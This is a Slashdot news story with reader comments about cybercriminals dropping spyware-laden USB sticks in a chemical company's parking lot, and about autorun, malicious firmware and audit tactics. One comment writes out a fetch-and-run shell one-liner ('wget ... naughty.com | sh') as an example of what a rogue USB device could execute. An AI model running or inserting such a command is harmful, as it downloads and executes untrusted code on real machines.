Criminals Distribute Infected USB Sticks In Parking Lot 298
New submitter sabri writes "The Dutch news-site Elsevier is reporting that cybercriminals attempted to steal data from a multinational chemicals company by 'losing' spyware-infected USB sticks on the company's parking lot. Their attempt failed as one of the employees who found the stick dropped it off at the company's IT department, who then found the spyware and issued a warning. So next time, don't expect to find someone's dirty pictures on a USB stick you just found..."
Re:Thats what virtual machines are for. (Score:5, Insightful)
No, that's what operating systems that don't automatically run any executable that happens to appear are for.
Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?
Re:Expensive (Score:5, Insightful)
These were targeted specifically though at the one company, greatly increasing the odds of getting into something that they were interested in.
Tag: Not News (Score:1, Insightful)
Re:Cool, free thumb drive! (Score:5, Insightful)
dd if=/dev/zero of=/dev/[usbdrive]
voila, free thumb drive, malware free.
Not if the drive has firmware that detects if it's plugged into a Windows host. For non-windows, it acts as a normal flash drive, but if you plug it into Windows, then it exposes the virus. So you take it home, load it up with MP3's from your linux computer and everything is fine, but then when you give it to your wife and she see a filenamed "naked_secretary.exe", she runs it and gets infected.
Old trick. (Score:5, Insightful)
This is a time-honored way of targeting a particular company. It sounds expensive, but if your motivation is commercial or governmental *coughcoughstux* it's extremely cheap compared to the alternatives (bribery, breaking-and-entering, rubber-hose cryptography). It's also a great way of finding out whether your own organization is aware of malware trouble; this technique is commonly used as part of security audits performed by companies hired to find out how good your company really is.
A company I worked for a few years ago hired a security auditing firm to check up on ourselves (only a few people were told, and we were told to keep quiet to ensure that our day-to-day practices were tested, not our "crap, someone's checking!" performance). They were unable to penetrate the network from the outside (including wirelessly) or socially engineer their way past reception or weasel out a password, but they got in via the USB-stick-in-the-parking-lot method. They told us afterwards that this is an extremely effective technique, as primate curiosity is almost unstoppable.
Re:Thats what virtual machines are for. (Score:5, Insightful)
The human body either digests or kills anything that's not marked as belonging to the body. It does allow stuff on it's surface and in the lining of the stomach I guess, but other than that, it seems to shoot first and asks questions later. Of course it can be tricked or overwhelmed, but it's not nearly as laid back as you seem to think. (Which can lead to horrible conditions where some body cells aren't recognized for some reason, and mercilessly attacked.)
The human body = mean ass motherfucker. Don't even fucking look at the guy, or he will travel back in time and drop your parents before they can meet.
Computers and operating systems, definately consumer ones = uhm... Ralph Wiggum? Yeah, that seems about right :P
Re:Cool, free thumb drive! (Score:4, Insightful)
It might not be a drive (Score:5, Insightful)
wget -q -O - http://naughty.com/ [naughty.com] | sh
All sorts of things could happen when you plug in a USB stick. Perhaps not too much of a worry in practice for Joe Schmo as doing it effectively would probably require a level of sophistication that would make it not worth while for a vague target but Linux does not magically make USB sticks safe.
Re:Thats what virtual machines are for. (Score:5, Insightful)
Good god - how idiotic does an OS have to be, to run executables from any media you happen to insert?
Not idiotic, just outdated. When Windows XP was released, way back in 2001, the assumption was that removable media was going to be a pressed CD or DVD and that these sources could be trusted. This assumption started to break down with the advent of cheap CD/DVD writers, and became completely absurd when inexpensive flash drives proliferated.
As a result, Microsoft removed Autorun from USB drives [computerworld.com] as part of a Windows XP update in 2011. (Probably a bit late, but still, they did fix it.) On Windows 7, Autorun for USB drives was never included. The user would have to run the malware manually (and if it wants admin permissions, you'd also have to click through the UAC warning).
Re:Expensive (Score:3, Insightful)
Re:Expensive (Score:4, Insightful)
I know that taking away the mouse and keyboard dramatically reduces the number of user mistakes, but I do wonder if this isn't taking it a little too far.